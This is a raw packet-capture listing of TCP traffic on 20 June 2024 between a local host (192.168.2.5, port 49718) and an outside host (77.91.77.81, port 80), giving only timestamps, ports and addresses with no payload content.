Jun 20, 2024 15:38:19.477097988 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477489948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477524996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477566957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477566957 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477579117 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477612019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477647066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477664948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477664948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477680922 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477714062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477730989 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477730989 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477746964 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477781057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477790117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477790117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477814913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477848053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477859020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477859020 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477881908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477895021 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477916956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477950096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.477965117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477965117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.477982998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478015900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478048086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478063107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478064060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478064060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478081942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478092909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478116035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478149891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478167057 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478167057 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478180885 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478200912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478214979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478252888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478259087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478259087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478332043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.478368044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.478391886 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479255915 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479289055 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479311943 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479322910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479366064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479366064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479495049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479527950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479564905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479581118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479581118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479598999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.479619980 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.479652882 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503247023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503343105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503353119 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503402948 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503428936 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503482103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503516912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503532887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503532887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503570080 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503581047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503604889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503643036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503643036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503665924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503700018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503734112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503746986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503746986 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503763914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503797054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503809929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503809929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503830910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503879070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503879070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503881931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503917933 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503950119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.503957987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503957987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.503983974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.504018068 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.504033089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.504033089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.504057884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.504091978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.504106045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.504106045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.504127979 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.504151106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.504215002 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.505812883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.505845070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.505878925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.505913973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.505935907 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.505961895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.505969048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.506004095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.506036043 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.506069899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.506083965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.506083965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.506135941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531729937 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531764984 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531801939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531827927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531827927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531836987 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531882048 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531893015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531925917 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531927109 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531963110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.531972885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531972885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.531996965 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532042980 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532042980 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532049894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532083035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532116890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532139063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532150030 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532195091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532195091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532234907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532269955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532301903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532315969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532315969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532335997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532360077 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532370090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532413006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532413006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532422066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532455921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532500029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532510042 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532514095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532543898 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532589912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532589912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532598019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532669067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532687902 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532702923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532737970 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532761097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532771111 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532807112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.532819033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532819033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.532871008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536415100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536448956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536500931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536505938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536592007 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536597013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536626101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536649942 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536660910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536696911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.536708117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536708117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.536763906 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792270899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792339087 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792371988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792404890 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792412996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792432070 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792433023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792453051 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792465925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792500019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792520046 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792551994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792584896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792623997 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792635918 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792659998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792671919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792671919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792694092 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792709112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792728901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792752028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792762041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792815924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792821884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792850971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792901993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792905092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792905092 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.792937040 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.792974949 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793006897 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793018103 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793019056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793040991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793073893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793075085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793107986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793124914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793154955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793154955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793158054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793191910 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793224096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793241024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793261051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793298006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793333054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793349028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793349028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793365955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793399096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793417931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793452024 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793484926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793514013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793514013 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793519020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793529987 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793553114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793587923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793623924 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793644905 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793649912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793684959 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793718100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793730974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793730974 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793752909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793792963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793804884 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793838978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793870926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793883085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793883085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793909073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793941021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793946028 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793975115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.793987036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.793987036 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.794009924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.794043064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.794090033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.794090033 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.795876026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.795912981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.795947075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.795962095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.795962095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.795979977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796014071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796020031 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796049118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796061039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796080112 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796083927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796117067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796118021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796153069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796165943 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796165943 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796186924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796221018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796253920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796272039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796272039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796288013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796304941 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796338081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796355009 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796375990 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796407938 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796416044 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796442986 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796475887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796513081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796526909 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796566963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796581984 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796617031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796638966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796650887 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796675920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796684980 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796705961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796720982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796757936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796757936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796772957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796811104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796844006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.796885014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.796885014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798502922 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798541069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798561096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798577070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798614025 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798628092 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798664093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798688889 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798697948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798732042 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798732042 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798751116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798767090 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798779964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.798800945 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.798835039 CEST	80	49718	77.91.77.81	192.168.2.5
